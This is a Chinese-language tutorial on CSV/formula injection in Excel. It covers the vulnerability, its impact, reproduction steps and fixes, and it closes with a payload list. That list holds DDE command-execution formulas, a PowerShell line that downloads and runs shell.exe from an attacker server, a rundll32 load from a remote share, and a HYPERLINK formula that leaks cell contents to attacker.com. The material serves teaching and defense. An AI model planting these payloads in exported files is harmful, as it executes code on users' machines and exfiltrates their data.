CSV介绍
CSV是“Comma-Separated Values”的缩写,是一种常见的数据格式。CSV文件通常包含一系列以逗号分隔的值,每个值都表示数据的一个字段。这种数据格式常用于将数据从一个应用程序或系统转移到另一个应用程序或系统,因为它易于生成和解析,并且不依赖于特定的操作系统或软件。
CSV文件可以使用任何文本编辑器打开和编辑,也可以使用Excel打开。在CSV文件中,每个字段之间都用逗号分隔,行末通常用回车符和换行符表示。每一行表示数据的一条记录,每个字段表示记录中的一个属性。
举例如下,将如下内容保存为1.csv
Name, Age, Gender
Alice, 25, Female
Bob, 30, Male
Charlie, 40, Male
打开后如下
漏洞介绍
既然是注入,就说明也是将恶意代码插入到某个地方,这里就是将恶意代码插入到CSV文件中。
当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。
简单来说,如果单元格中的第一个字符是+
、-
、@
、=
这些符号时,就会被当成公式来执行。
CSV注入(公式注入)攻击就是利用了Excel软件的自动计算功能,以执行Excel公式中的代码。攻击者可以通过修改CSV文件中的内容,注入包含恶意代码的Excel公式,或者通过在Excel公式中使用外部数据源,将恶意代码注入到目标系统中,从而对用户实施攻击。
漏洞危害
主要攻击的是用户,对服务端几乎无影响
普通用户在打开恶意的CSV文件并忽略弹窗提示后,通常会造成如下危害:
- 命令执行
- 敏感信息泄漏
漏洞复现
命令执行
=1+cmd|' /C calc'!A0
编辑内容如下:
打开文档
这样就可以成功执行了系统命令
信息泄漏
=HYPERLINK("http://attacker.com/?param1=value1¶m2="&A1&"@attacker.com")
内容如下:
打开CSV后,可见A1的值被添加到了URL中
用户只要点击这个URL,就会携带A1的值向恶意网站发起请求,造成信息泄漏。
修复建议
- 单元格不以特殊字符开头:
+
、-
、@
、=
、0x09(Tab)
、0x0D(回车)
- 在生成CSV时,给每个字段前添加
'
,且给每一个字段内容用双引号引起来 - 加强员工安全意识培训,禁用DDE协议
常见漏洞点
如果网站存在导出CSV功能,且导出内容可控,那么我们就可以将可控的内容修改为payload,让正常用户导出后打开,即可触发。
说明
如何开启DDE
高版本的office默认禁止DDE,无法执行,开启方法如下:
导出xlsx文件也存在这个问题吗
与CSV注入类似,也存在类似的问题,因为都是利用Excel公式语法执行系统命令。
实际危害大吗
不大,因为利用非常鸡肋,大多数SRC都不收。
各种Payload
# RCE
=cmd|' /C calc'!A0
+cmd|' /C calc'!A0
-cmd|' /C calc'!A0
@SUM(cmd|'/c calc'!A0)
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
=10+20+cmd|' /C calc'!A0
@SUM(1+9)*cmd|' /C calc'!A0
# 信息泄漏
=HYPERLINK("http://attacker.com/?param1=value1¶m2="&A1&"@attacker.com")